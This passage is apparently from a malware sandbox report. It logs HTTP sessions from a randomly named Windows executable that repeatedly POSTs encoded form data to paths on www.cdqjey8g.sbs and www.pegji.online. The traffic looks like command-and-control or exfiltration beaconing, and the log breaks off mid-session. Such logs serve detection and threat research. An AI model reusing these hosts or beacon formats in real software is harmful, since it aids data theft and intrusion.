64 49 4e 4d 66 51 2b 65 5a 39 61 79 4d 2f 53 32 53 44 2b 54 44 5a 6b 33 2b 31 2b 4d 50 4e 6b 64 34 61 35 53 43 78 63 59 36 74 61 4d 6a 2f 76 61 59 36 6e 55 35 68 71 75 4e 67 58 4d 4d 4e 61 54 59 32 50 5a 69 79 50 4a 77 4c 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_WVD+Cc47Ou3dINMfQ+eZ9ayM/S2SD+TDZk3+1+MPNkd4a5SCxcY6taMj/vaY6nU5hquNgXMMNaTY2PZiyPJwLQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 29, 2024 10:02:50.842380047 CET	939	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTc3ZjVhODItNmU1NC00MTA0LTg4NTUtMWM1N2VkYjQwYzRhIiwicGFnZV90aW1lIjoxNzMwMTkyNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	60407	43.155.76.124	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:04.515358925 CET	772	OUT	POST /mwey/ HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cdqjey8g.sbs Referer: http://www.cdqjey8g.sbs/mwey/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 42 64 34 2f 47 38 6a 4b 4b 62 66 54 51 35 68 4b 71 61 56 6a 4a 2b 4d 62 59 6c 62 39 72 44 58 78 49 4a 49 7a 4d 38 57 6a 53 57 76 38 73 38 43 48 4b 4d 2f 57 2b 2f 43 44 45 6b 54 6e 75 65 52 61 36 31 47 30 34 30 2f 49 6f 4f 72 6c 74 37 36 36 51 47 63 78 76 58 67 74 30 6f 65 69 78 4a 53 45 49 50 32 75 4c 6f 56 53 36 4c 4c 6b 72 2b 7a 79 4c 33 35 65 6f 63 38 6c 67 6c 5a 62 4d 47 46 6b 6c 32 42 4d 61 64 6d 68 74 41 74 59 75 33 74 41 49 2f 52 2f 76 34 43 68 65 6e 56 67 4e 61 73 62 6f 4a 37 39 53 47 6e 79 4e 35 76 67 52 48 65 4a 63 6a 36 72 53 6e 59 58 52 39 6b 6c 63 61 47 46 34 56 79 4e 68 49 55 3d Data Ascii: Qf=Bd4/G8jKKbfTQ5hKqaVjJ+MbYlb9rDXxIJIzM8WjSWv8s8CHKM/W+/CDEkTnueRa61G040/IoOrlt766QGcxvXgt0oeixJSEIP2uLoVS6LLkr+zyL35eoc8lglZbMGFkl2BMadmhtAtYu3tAI/R/v4ChenVgNasboJ79SGnyN5vgRHeJcj6rSnYXR9klcaGF4VyNhIU=
Oct 29, 2024 10:03:05.474735975 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Tue, 29 Oct 2024 09:03:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	60408	43.155.76.124	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:07.065684080 CET	792	OUT	POST /mwey/ HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cdqjey8g.sbs Referer: http://www.cdqjey8g.sbs/mwey/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 42 64 34 2f 47 38 6a 4b 4b 62 66 54 57 59 52 4b 6d 61 70 6a 4c 65 4d 45 62 6c 62 39 6c 54 58 31 49 4a 55 7a 4d 39 43 7a 53 6b 62 38 73 65 61 48 4c 4f 62 57 2f 2f 43 44 4d 45 54 69 67 2b 52 4e 36 31 4b 61 34 31 44 49 6f 4f 2f 6c 74 37 4b 36 52 31 30 79 73 6e 67 72 35 49 65 6b 2b 70 53 45 49 50 32 75 4c 6f 52 6f 36 50 66 6b 72 4f 6a 79 45 32 35 66 6d 38 38 71 77 31 5a 62 48 6d 45 76 6c 32 41 76 61 66 53 62 74 44 56 59 75 79 52 41 4d 36 39 34 67 34 43 6e 51 48 55 50 4f 62 4a 75 69 37 6a 31 51 52 57 36 4f 72 2f 4b 55 78 7a 6a 47 42 79 44 42 48 30 76 42 75 73 53 4e 71 6e 73 69 32 69 39 2f 66 44 73 6a 45 77 45 54 57 65 51 76 33 41 38 63 56 41 75 44 76 45 4b Data Ascii: Qf=Bd4/G8jKKbfTWYRKmapjLeMEblb9lTX1IJUzM9CzSkb8seaHLObW//CDMETig+RN61Ka41DIoO/lt7K6R10ysngr5Iek+pSEIP2uLoRo6PfkrOjyE25fm88qw1ZbHmEvl2AvafSbtDVYuyRAM694g4CnQHUPObJui7j1QRW6Or/KUxzjGByDBH0vBusSNqnsi2i9/fDsjEwETWeQv3A8cVAuDvEK
Oct 29, 2024 10:03:08.019984961 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Tue, 29 Oct 2024 09:03:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	60409	43.155.76.124	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:09.760690928 CET	1809	OUT	POST /mwey/ HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cdqjey8g.sbs Referer: http://www.cdqjey8g.sbs/mwey/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 42 64 34 2f 47 38 6a 4b 4b 62 66 54 57 59 52 4b 6d 61 70 6a 4c 65 4d 45 62 6c 62 39 6c 54 58 31 49 4a 55 7a 4d 39 43 7a 53 6b 44 38 76 76 36 48 4b 76 62 57 75 50 43 44 47 6b 54 6a 67 2b 51 50 36 32 36 65 34 31 4f 33 6f 4d 48 6c 75 61 71 36 57 45 30 79 37 33 67 72 6d 59 65 6c 78 4a 53 72 49 50 6d 71 4c 6f 68 6f 36 50 66 6b 72 49 66 79 41 6e 35 66 72 63 38 6c 67 6c 59 61 4d 47 46 49 6c 33 6f 52 61 63 2f 6b 73 7a 31 59 67 7a 68 41 4f 6f 6c 34 70 34 43 66 58 48 55 58 4f 62 31 48 69 37 76 54 51 55 71 51 4f 70 66 4b 56 57 53 70 52 79 71 64 65 6d 30 62 4b 76 34 78 4e 66 50 30 38 32 62 4c 79 4f 7a 32 69 33 52 6d 62 53 79 6a 6d 33 39 74 4f 79 63 63 4a 61 46 4e 42 69 4a 38 56 51 75 4a 2f 72 75 4a 6d 69 68 68 72 6e 6f 34 6a 33 5a 78 57 78 58 74 34 56 67 32 51 6a 36 47 2f 78 70 72 78 31 5a 77 4d 62 34 70 53 35 4b 56 62 62 48 58 51 4d 6e 30 46 43 66 62 4c 70 74 44 73 4d 46 46 4e 49 56 38 32 4e 62 43 45 4f 55 43 34 52 7a 78 41 65 67 6a 48 31 61 4e 59 6d 57 73 65 39 70 53 6f 2f 47 68 6d 41 59 49 4b 36 55 [TRUNCATED] Data Ascii: Qf=Bd4/G8jKKbfTWYRKmapjLeMEblb9lTX1IJUzM9CzSkD8vv6HKvbWuPCDGkTjg+QP626e41O3oMHluaq6WE0y73grmYelxJSrIPmqLoho6PfkrIfyAn5frc8lglYaMGFIl3oRac/ksz1YgzhAOol4p4CfXHUXOb1Hi7vTQUqQOpfKVWSpRyqdem0bKv4xNfP082bLyOz2i3RmbSyjm39tOyccJaFNBiJ8VQuJ/ruJmihhrno4j3ZxWxXt4Vg2Qj6G/xprx1ZwMb4pS5KVbbHXQMn0FCfbLptDsMFFNIV82NbCEOUC4RzxAegjH1aNYmWse9pSo/GhmAYIK6UKEMSamp08b7jI3veIAPAsYEAmMY17Qil4pvgsZcKqfBRbDmcp24qnIiUmKYvFvH76wFEWr4gWP650okNPS6g4HLCbutkPlsab9Hp813phtCGWuj/yuFC+BVW3yAF+M05sYTo5yiipSw4UJSHcCgO8pAdGbmc3CGKV3CNwyLjgkjEfqEn0OLmEvWhgC2f1M1gWskVd9ATYcIq0f2iN2rVTFUBiHZP8rMNd3zHzqIeNGOKyTt1clFFBPcw9yNSTPV8EODDtkp3qCG1OYAYuX2u1z0+mk+W897QlYK7JrmQ6sAK5TjQ7TDPpdHdZLst6+98qKPihy7AnIl0LrOq8LZCrnxmu6LcjbqdfHYwLMVNzXlJ1lxe1VLtKXhnp2E7kU/1VBpOfjUZ5JAWvjpIUfEx+1VN+101bhQzDgo/3JTabdfZnQYvLQ9dBIaxhq0wtkkP0iDJL/d10cqGLkZrfNEegGbSY6q0YT74rqDd0XE3iXIjtlp3JD3xS9m39gYLlh1SMimBTTrJJUMq71saefCMck5AooBkLpaG55D19eVj11QBVaDpMuAgHze0aw7mbGDJimMRJywyGIOUQNZAJsosn1zsVRGlbAALr0saNF6gCr8IXcetLmpWaN6qAG0um9G+S6nwI2zB0Jvp+dGfHIFCwpA1X8Gd+ftYZl [TRUNCATED]
Oct 29, 2024 10:03:10.712516069 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Tue, 29 Oct 2024 09:03:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	60410	43.155.76.124	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:12.298049927 CET	510	OUT	GET /mwey/?Qf=MfQfFJDPdY3qb8NLnrdcDJpYPHfxpTXjAJliBdfQUirEsMDdNOfprM6NKVyFnMdsrhyN3Xipksjr8oWhdXIF2gEQlMed9pXONcGbPoRv7NnQr5z0ekoMiegrplNLBBYgwQ==&dfNhZ=LvKD HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:03:13.252646923 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Tue, 29 Oct 2024 09:03:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	60411	84.32.84.32	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:18.532288074 CET	772	OUT	POST /d2v9/ HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.pegji.online Referer: http://www.pegji.online/d2v9/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 79 44 75 6b 76 74 61 31 70 34 4f 2b 67 6e 55 4e 4a 6b 4f 45 35 4c 47 69 65 69 63 47 38 65 6e 68 41 46 43 51 5a 34 70 47 59 6e 38 77 76 5a 4c 35 52 35 65 47 34 42 61 35 55 78 45 73 6f 39 52 79 51 42 4c 30 54 53 62 66 75 67 2b 58 49 52 78 6c 4b 36 56 39 6e 36 36 6d 66 36 6f 48 58 4c 51 37 5a 49 4e 41 56 77 6e 68 74 7a 63 56 64 4e 58 70 7a 4c 39 38 6e 32 65 39 67 79 36 79 35 72 5a 51 6a 4a 30 70 48 63 63 64 6b 70 42 76 78 41 75 63 56 6c 6e 4d 67 72 59 5a 6b 6b 44 63 4c 57 52 71 4f 50 46 6a 48 52 75 76 70 6f 66 71 59 33 46 70 37 4e 54 79 6d 63 73 36 70 78 6a 6f 78 6b 39 41 56 30 4a 6f 74 45 41 3d Data Ascii: Qf=yDukvta1p4O+gnUNJkOE5LGieicG8enhAFCQZ4pGYn8wvZL5R5eG4Ba5UxEso9RyQBL0TSbfug+XIRxlK6V9n66mf6oHXLQ7ZINAVwnhtzcVdNXpzL98n2e9gy6y5rZQjJ0pHccdkpBvxAucVlnMgrYZkkDcLWRqOPFjHRuvpofqY3Fp7NTymcs6pxjoxk9AV0JotEA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	60412	84.32.84.32	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:21.082648039 CET	792	OUT	POST /d2v9/ HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.pegji.online Referer: http://www.pegji.online/d2v9/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 79 44 75 6b 76 74 61 31 70 34 4f 2b 36 47 6b 4e 50 46 4f 45 37 72 47 74 52 43 63 47 32 2b 6e 6c 41 46 4f 51 5a 36 45 64 5a 52 55 77 76 39 48 35 51 34 65 47 37 42 61 35 62 52 45 54 31 74 51 2b 51 42 48 4e 54 51 50 66 75 67 71 58 49 56 31 6c 4b 4a 39 2b 6e 71 36 34 4b 71 6f 46 59 72 51 37 5a 49 4e 41 56 77 43 4b 74 7a 45 56 65 38 48 70 79 75 64 2f 76 57 65 38 32 69 36 79 76 72 59 5a 6a 4a 30 62 48 65 6f 6e 6b 71 31 76 78 41 65 63 45 55 6e 44 76 72 59 66 71 45 44 50 45 6b 41 64 45 4e 35 32 48 48 76 58 38 62 62 4e 51 68 6f 44 68 76 62 61 31 38 41 43 35 69 72 66 67 55 63 70 50 58 5a 59 7a 54 57 37 65 2b 2f 42 6d 63 44 51 78 78 78 77 50 33 72 31 48 32 57 66 Data Ascii: Qf=yDukvta1p4O+6GkNPFOE7rGtRCcG2+nlAFOQZ6EdZRUwv9H5Q4eG7Ba5bRET1tQ+QBHNTQPfugqXIV1lKJ9+nq64KqoFYrQ7ZINAVwCKtzEVe8Hpyud/vWe82i6yvrYZjJ0bHeonkq1vxAecEUnDvrYfqEDPEkAdEN52HHvX8bbNQhoDhvba18AC5irfgUcpPXZYzTW7e+/BmcDQxxxwP3r1H2Wf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	60413	84.32.84.32	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:23.629303932 CET	1809	OUT	POST /d2v9/ HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.pegji.online Referer: http://www.pegji.online/d2v9/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 79 44 75 6b 76 74 61 31 70 34 4f 2b 36 47 6b 4e 50 46 4f 45 37 72 47 74 52 43 63 47 32 2b 6e 6c 41 46 4f 51 5a 36 45 64 5a 52 73 77 76 49 62 35 52 62 32 47 30 68 61 35 53 78 45 6f 31 74 51 33 51 43 32 46 54 51 54 50 75 6a 53 58 49 77 68 6c 44 59 39 2b 74 71 36 34 56 61 6f 45 58 4c 51 75 5a 49 63 49 56 77 53 4b 74 7a 45 56 65 2b 76 70 31 37 39 2f 70 57 65 39 67 79 36 41 35 72 5a 77 6a 4a 73 4c 48 65 38 33 6b 63 46 76 78 67 4f 63 47 43 4c 44 6d 72 59 64 70 45 43 53 45 6b 4d 43 45 4a 5a 36 48 48 7a 78 38 62 54 4e 41 67 4e 43 33 74 79 4e 76 64 6f 64 32 44 6d 2b 34 54 74 46 42 32 56 4f 32 54 47 55 65 74 2f 68 68 38 7a 32 6c 7a 6b 46 54 77 76 54 41 51 44 2f 2f 4a 4a 64 33 4b 74 6b 58 49 61 34 46 6e 35 4b 53 6c 49 66 43 62 73 32 59 55 54 41 62 7a 2b 51 4e 6b 38 62 6d 64 6d 53 2b 54 4b 36 67 56 44 52 74 64 73 41 38 53 4d 59 49 53 57 61 4b 72 4d 75 38 41 30 6d 36 6a 49 66 62 49 7a 54 6b 43 69 4a 57 50 44 5a 76 69 6e 69 6c 71 4a 41 4d 6a 4f 65 73 71 54 6a 75 62 7a 59 4e 78 75 6e 55 70 45 4a 58 48 59 [TRUNCATED] Data Ascii: 